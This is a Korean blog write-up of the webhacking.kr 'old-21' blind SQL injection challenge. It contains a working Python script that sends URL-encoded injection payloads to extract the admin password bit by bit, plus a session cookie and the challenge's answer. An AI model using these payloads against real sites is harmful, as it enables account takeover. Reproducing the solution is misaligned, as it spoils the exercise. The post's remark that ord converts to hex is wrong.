Web/webhacking.kr
Webhacking.kr / old-21
supp0rt
2024. 8. 30. 10:59
문제

Blind SQL Injection 문제이다
풀이
흔히 문제에서 많이 사용하는 guest / guest를 입력해보자

login success
하지만 우리는 admin의 계정을 탈취하는 것을 목적으로 수행한다


결과값이 다른 것을 확인할 수 있다
즉 admin / 'or =1=1#을 넣었을 경우 DB에서 결과값을 돌려주지만 php 코드에서 결과값을 한번 더 확인 한 뒤 사용자에게 보여주는 것 같다

wrong password = DB내 존재
login fail = DB 내 존재 X
이를 이용하여 Blind SQL Injection 수행
BLIND SQLI
1. admin password 길이 확인
2. bit masking or lpad & bin & ord 를 활용해서 비밀번호 확인
3. 입력

더보기
?id=admin&pw=there_is_no_rest_for_the_white_angel
코드
더보기
import requests
url = f"https://webhacking.kr/challenge/bonus-1/index.php"
cookie = {"PHPSESSID" :"7pdsfjlgprn9fr1qkb0rbr8hq7"}
def find_length(url,cookie):
i = 0
while True:
i = i + 1
id="admin"
pw=f"'or%201=1%20and%20id='admin'%20and%20length(pw)>{i}%23"
payload = f"?id={id}&pw={pw}"
cookie = cookie
send_url = url +payload
# print(send_url)
res = requests.get(url=send_url, cookies=cookie)
if "login fail" in res.text:
print(f"\nresult : {i}")
return i
else:
print(f"length : {i}")
def find_password(url, cookie, length):
result_str = []
for i in range(1,length + 1):
bit_masking = 2
result = ""
for k in range(8):
bit_masking = 2 ** k
id="admin"
pw=f"'or%201%20and%20id='admin'%20and%20ascii(substr(pw,{i},1))%26{bit_masking}%23"
payload = f"?id={id}&pw={pw}"
send_url = url + payload
res = requests.get(url=send_url,cookies=cookie)
if "login fail" in res.text:
result = "0" + result
else:
result = "1" + result
# print(f"result = {result}")
print(f"{i} result : {result}")
result = chr(int(result,2))
result_str.append(result)
return result_str
length = find_length(url,cookie)
print("------------")
str = find_password(url, cookie, length)
print(str)
lpad & bin & ord 사용법
lpad(example, 8, 0) => example의 길이 중 8자리가 되지 않을 시 왼쪽부터 0으로 채움
bin => 2진수로 변환
ord => 16진수 변환
example = "a"일때
lpad(bin(ord(example))),8,0) => 01000001